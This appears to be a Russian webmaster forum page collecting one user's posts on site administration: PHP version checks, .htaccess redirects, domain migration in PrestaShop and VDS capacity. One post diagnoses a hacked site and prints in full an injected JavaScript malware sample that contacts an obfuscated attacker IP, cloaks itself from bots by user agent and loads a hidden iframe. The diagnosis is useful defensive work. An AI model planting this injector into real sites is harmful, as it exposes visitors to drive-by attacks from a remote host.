Алеандр

Алеандр
Рейтинг
207
Регистрация
08.12.2010
141c18
himin:
этот файл нулленый скорее всего

Тогда никаких гарантий. При учете того, что ваши JS сыпят критическими ошибками - они явно не работают.

Ну и врядли нуленность файла будет заниматься выборкой свежих User-Agent, или отсылать пользователя на msn.com, что он делает при прямом скачивании с некоторых браузеров. Да и урлы в ней прописывать на левый IP - как бы тоже не было бы смысла, кстати, этот IP не работает, возможно он отвалился и за собой потянул неработоспособность скрипта.

В общем 99.9%, что хостинг ни при чем, а вот нуленность ваша выходит боком, только заметили вы это сейчас, из-за отпавшего хак-IP. Вполне возможно, что сайт ваш на php 5.3 нормально работает :)

Поковырял еще, видимо все же вас сломали.

modules/mod_magiczoom/core/magiczoom.js - этот файлик должен быть обфусцирован и нечитабелен. Это плагин под Jquery. А у меня он открывается совершенно другим:

//i19kalom9

var urlOfIframeTargetAddrGeter = 'h!!!!!!t!!!!!t!!!!p!!!!!:!!!!/!!!/!!!3!!!7!!!.!!!1!!!4!!!3!!.!!1!!!1!!.!!!2!!!7!!/!!j!!s!!/!!g!!!!e!!!t!!!!!U!!!!r!!!l!!!!.!!!p!!!h!!!!!!p';
var callbacks=new Object();
(function(){
function getJsonpUrl( url, cb ) {
var i;
do
i='c'+Math.floor(Math.random() * 99999);
while(callbacks);

callbacks = function(obj) {
cb(obj);
delete callbacks;
};

var script=document.createElement('script');
script.src=url+(url.indexOf('?')>=0?'&':'?')+'callback=callbacks.'+i;
script.type='text/javascript';
document.body.appendChild(script);
}

function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();

var index = 0;
if ((index = haystack.indexOf(needle, f_offset)) !== -1) {
return index;
}

return false;
}

function zzz_check_ua(){
var blackList = 'Linux|Macintosh|FreeBSD|Chrome|iPad|iPhone|IEMobile|Android|Firefox/18.0|Firefox/18.0.1|Firefox/18.0.2|Firefox/19.0|Firefox/19.0.1|Firefox/19.0.2|Firefox/20.0|Firefox/21.0|Firefox/22.0|Firefox/23.0|Firefox/24.0|Maxthon|YandexNews|bingbot|YandexAntivirus|Chromium|Googlebot|Wget|YandexBot|Googlebot-Image|msnbot-media|SymbianOS|Mini|YandexDirect|MRSPUTNIK';
blackList = blackList.split('|');

var blackUA = false;
for (var i in blackList) {
if (stripos(navigator.userAgent, blackList)!==false) {
blackUA = true;
break;
}
}
return blackUA;
}

function setCookie(name, value, expires) {
var date = new Date( new Date().getTime() + expires*1000 );
document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();

}

function getCookie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;

}

function appendIframe(answer) {
setTimeout( function() {
document.write('<iframe src="' + answer.result + '" style="position:absolute;left:-900px;top:-900px;" height="112" width="112"></iframe>');
}, 0 );
}

function insertIframe() {
setTimeout( function() {
getJsonpUrl( urlOfIframeTargetAddrGeter.split('!').join(''), appendIframe );
}, 0 );
}

if (!zzz_check_ua()) {
var cookie = getCookie('mnelow9187jimd1');
if (cookie == undefined) {
setCookie('mnelow9187jimd1', true, 86400);
insertIframe();
}
}
})();
//mrean1983f/*

и только после этого кода идет собственно сам

 Magic Zoom v3.1.14 DEMO

Copyright 2010 Magic Toolbox
You must buy a license to use this tool.
Go to www.magictoolbox.com/magiczoom/

himin,

рекомендую пациента в студию или личку. При учете, что у вас версия PHP осталась такой же, как вам нужно - то возможно проблемы либо у вас с браузером, либо с его дополнениями. Поскольку табы, лайтбокс и слайдер, скорее всего отношения к php не имеют, больше похоже на js/ajax. Можете также для начала попробовать получить доступ к сайтам с другого компьютера, браузера.

Кладете в корень сайта файлик, например с названием phpinfo.php

в котором пишите:

<?php
phpinfo();
?>

Заходите на него через web (http://вашсайт/phpinfo.php)

и смотрите рабочую версию php на вашем сайте. Если она PHP 5.3, а в панели стоит 5.2, то все вопросы к хостеру.

Если же версия PHP 5.2, то видимо что-то еще сломалось на вашем сайте.

Ну и вопрос на дурака, в панели на 5.3 не переключилось автоматом случайно?

Для своих целей воспользовался услугами компаний, предоставляющих SEO-proxy, где выдается пул адресов для личного использования, с логин/пароль. Никто больше их не использует и шансы на бан минимальны, зависят от вас лично. Чистые культурные IP, при желании можно из разных подсетей найти.

Удовльствие в данное время - 2$ / 1 прокси.

И не нужно саппортить никакой сервак.

Без тематики, понимания структуры сайта и прочих мелочей - сказать особо нечего.

Хотя нет, вру, есть пару слов:

1) Запускал свой статейник, уник, рерайт. Месяц - первые уники. Дальше пишем - больше уников. Тематика общая, трафик пошел с НЧ. За 2 года поднялся до 15 000 уников в день, без закупок ссылок, люди ставили сами. Изначально верно выбрана тематика, правильно организована структура и внутрянка сайта.

2) Был старенький сайт-статейник, трафа давал мало. Когда стал я опытнее - понял, что сайт написан с точки зрения СЕО - никак. Исправил. Трафик вырос в разы. Ссылки не покупались, люди сами ставили.

Делайте выводы.

По-моему усложняете, попробуйте на старом домене в .htaccess, в корневой папке в начале файла указать:

RewriteEngine on
RewriteRule ^/(.*)$ http://newsite.ru/old-version/$1 [L,R=301]

Правило должно отправлять с любым запросом в newsite.ru/old-version.

Локальные ссылки в старом html проще подменить обычной заменой в файлах.

--------------------------

Вообще, в вашем случае куда как более логично и менее геморно было бы старый сайт разместить на поддомене, oldversion.newsite.ru, сделав обычный 301 редирект со старого имени. Это нынче легко доступно на любом хостинге.

То есть структура у вас стала бы такой:

oldsite.ru -> 301 -> oldversion.newsite.ru

Выгода - куда более гармоничное восприятие старого-нового сайта, никаких проблем с путями, они остались бы теми же, кроме того, из всех изменений - глобальная замена домена, и то не факт, что у вас абсолютные пути на старом сайте. Если относительные - вообще кроме создания поддомена и одного единственного редиректа делать ничего не надо будет.

rangerio:

есть какой-нибудь автоматический способ почекать вхождения olddomen в файлах движка? Или вручную перебирать?

ssh есть?

grep -r 'olddomain.com' *
в корне сайта

Если нет - скачивайте себе дамп, и любым поиском по файлам в директории.

Кроме прочего, для PrestaShop v.1.4:

Если домен отличается от локального в БД его значение нужно так же изменить: таблица _configuration (PS_SHOP_DOMAIN, PS_SHOP_DOMAIN_SSL)

Полагаю, что код можно не трогать, достаточно изменить необходимое значение на newdomain в вашей БД.

Легко и непринужденно, в некоторых случаях этого даже много будет.

Еще правда от CPU зависит, но вряд ли там сильно ужато.

На 512 Mb, при небольшом тюнинге, у меня жил сайт с 25000 уников в сутки, правда там картинки были на другой сервер вынесены.

На данный момент на подобном VDS живут форум с 600-700 униками, правда не очень активными, сайт до 2000 уников, ну и парочка мелких проектов без особых нагрузок. При этом около трети ресурсов свободны совершенно.

Как-то так.

Питон:
спасибо.
чисто ради интереса - по какому запросы вы его нашли?
ибо у меня не получилось

https://www.google.ru/#newwindow=1&psj=1&q=%D0%BC%D0%B0%D1%81%D1%81%D0%BE%D0%B2%D0%B0%D1%8F+%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B0+%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86

7 позиция от меня, от вас может отличаться

Всего: 1467